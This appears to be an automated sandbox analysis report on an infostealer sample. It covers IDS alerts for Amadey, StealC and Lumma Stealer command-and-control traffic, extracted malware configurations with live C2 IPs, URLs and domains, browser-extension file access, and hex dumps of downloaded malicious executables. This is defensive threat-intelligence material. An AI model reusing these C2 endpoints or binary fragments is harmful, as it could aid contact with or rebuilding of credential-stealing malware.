2024-11-12T21:22:38.403444+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49833	185.215.113.206	80	TCP
2024-11-12T21:23:01.804816+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49851	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T21:22:04.843247+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49781	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T21:22:11.784291+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49794	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T21:22:08.188494+0100	2803305	3	Unknown Traffic	192.168.2.4	49798	185.215.113.16	80	TCP
2024-11-12T21:22:13.626113+0100	2803305	3	Unknown Traffic	192.168.2.4	49808	185.215.113.16	80	TCP
2024-11-12T21:22:22.825033+0100	2803305	3	Unknown Traffic	192.168.2.4	49818	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T21:21:21.901003+0100	2803304	3	Unknown Traffic	192.168.2.4	49735	185.215.113.206	80	TCP
2024-11-12T21:21:35.335164+0100	2803304	3	Unknown Traffic	192.168.2.4	49759	185.215.113.206	80	TCP
2024-11-12T21:21:36.535894+0100	2803304	3	Unknown Traffic	192.168.2.4	49759	185.215.113.206	80	TCP
2024-11-12T21:21:36.974346+0100	2803304	3	Unknown Traffic	192.168.2.4	49759	185.215.113.206	80	TCP
2024-11-12T21:21:37.374081+0100	2803304	3	Unknown Traffic	192.168.2.4	49759	185.215.113.206	80	TCP
2024-11-12T21:21:38.041683+0100	2803304	3	Unknown Traffic	192.168.2.4	49759	185.215.113.206	80	TCP
2024-11-12T21:21:39.677552+0100	2803304	3	Unknown Traffic	192.168.2.4	49759	185.215.113.206	80	TCP
2024-11-12T21:21:44.566874+0100	2803304	3	Unknown Traffic	192.168.2.4	49762	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T21:22:22.943588+0100	2843864	1	A Network Trojan was detected	192.168.2.4	49819	172.67.150.243	443	TCP
2024-11-12T21:22:38.838010+0100	2843864	1	A Network Trojan was detected	192.168.2.4	49834	172.67.150.243	443	TCP
2024-11-12T21:23:05.139437+0100	2843864	1	A Network Trojan was detected	192.168.2.4	49854	172.67.150.243	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/c4becf79229cb002.phpC:	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/off/def.exeFc	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/pd	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/c4becf79229cb002.php&	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/off/def.exe5	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/9	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dllI~	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpR	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpb	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/ld	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/F	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/c4becf79229cb002.phpv	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/softokn3.dllP	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/sqlite3.dll=	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 0000000B.00000002.2207719562.0000000000E11000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 17.2.c3e1e78f6d.exe.6b0000.0.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["3xc1aimbl0w.sbs", "faintbl0w.sbs", "thicktoys.sbs", "300snails.sbs"], "Build id": "LOGS11--public"}
Source: file.exe.7472.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	ReversingLabs: Detection: 36%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 36%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 17.2.c3e1e78f6d.exe.6b0000.0.unpack	String decryptor: faintbl0w.sbs
Source: 17.2.c3e1e78f6d.exe.6b0000.0.unpack	String decryptor: 300snails.sbs
Source: 17.2.c3e1e78f6d.exe.6b0000.0.unpack	String decryptor: 3xc1aimbl0w.sbs
Source: 17.2.c3e1e78f6d.exe.6b0000.0.unpack	String decryptor: thicktoys.sbs
Source: 17.2.c3e1e78f6d.exe.6b0000.0.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 17.2.c3e1e78f6d.exe.6b0000.0.unpack	String decryptor: TeslaBrowser/5.5
Source: 17.2.c3e1e78f6d.exe.6b0000.0.unpack	String decryptor: - Screen Resoluton:
Source: 17.2.c3e1e78f6d.exe.6b0000.0.unpack	String decryptor: - Physical Installed Memory:
Source: 17.2.c3e1e78f6d.exe.6b0000.0.unpack	String decryptor: Workgroup: -
Source: 17.2.c3e1e78f6d.exe.6b0000.0.unpack	String decryptor: LOGS11--public

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5E6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C5E6C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49829 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49831 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49856 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2190107334.000000006C80F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2190107334.000000006C80F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: accd68d705.exe, 00000012.00000002.2663213900.0000000000982000.00000040.00000001.01000000.00000011.sdmp, accd68d705.exe, 00000012.00000003.2528804311.0000000004C70000.00000004.00001000.00020000.00000000.sdmp, 70XXT0BM2TDFAKTXCB0ILV78JWN4.exe, 00000014.00000003.2622010179.0000000004FB0000.00000004.00001000.00020000.00000000.sdmp, 70XXT0BM2TDFAKTXCB0ILV78JWN4.exe, 00000014.00000002.2756490960.00000000002A2000.00000040.00000001.01000000.00000014.sdmp, accd68d705.exe, 00000015.00000002.2728250250.0000000000982000.00000040.00000001.01000000.00000011.sdmp, accd68d705.exe, 00000015.00000003.2687812134.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, Q10LTOCEFP0KA6N46594D.exe, 00000016.00000002.2793437431.0000000000652000.00000040.00000001.01000000.00000015.sdmp, Q10LTOCEFP0KA6N46594D.exe, 00000016.00000003.2752613172.0000000004AC0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmp

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 13MB later: 41MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49735 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49735 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:49735
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49735 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:49735
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49735 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49781 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49794
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49807 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49817 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49815 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49812 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49821 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49833 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49851 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49806 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49806 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49809 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49809 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49823 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49816 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49842 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49842 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49844 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49844 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49836 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:49834 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49856 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49847 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:49819 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:49854 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49820 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49820 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49822 -> 172.67.150.243:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49822 -> 172.67.150.243:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: 3xc1aimbl0w.sbs
Source: Malware configuration extractor	URLs: faintbl0w.sbs
Source: Malware configuration extractor	URLs: thicktoys.sbs
Source: Malware configuration extractor	URLs: 300snails.sbs
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 20:21:21 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 20:21:35 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
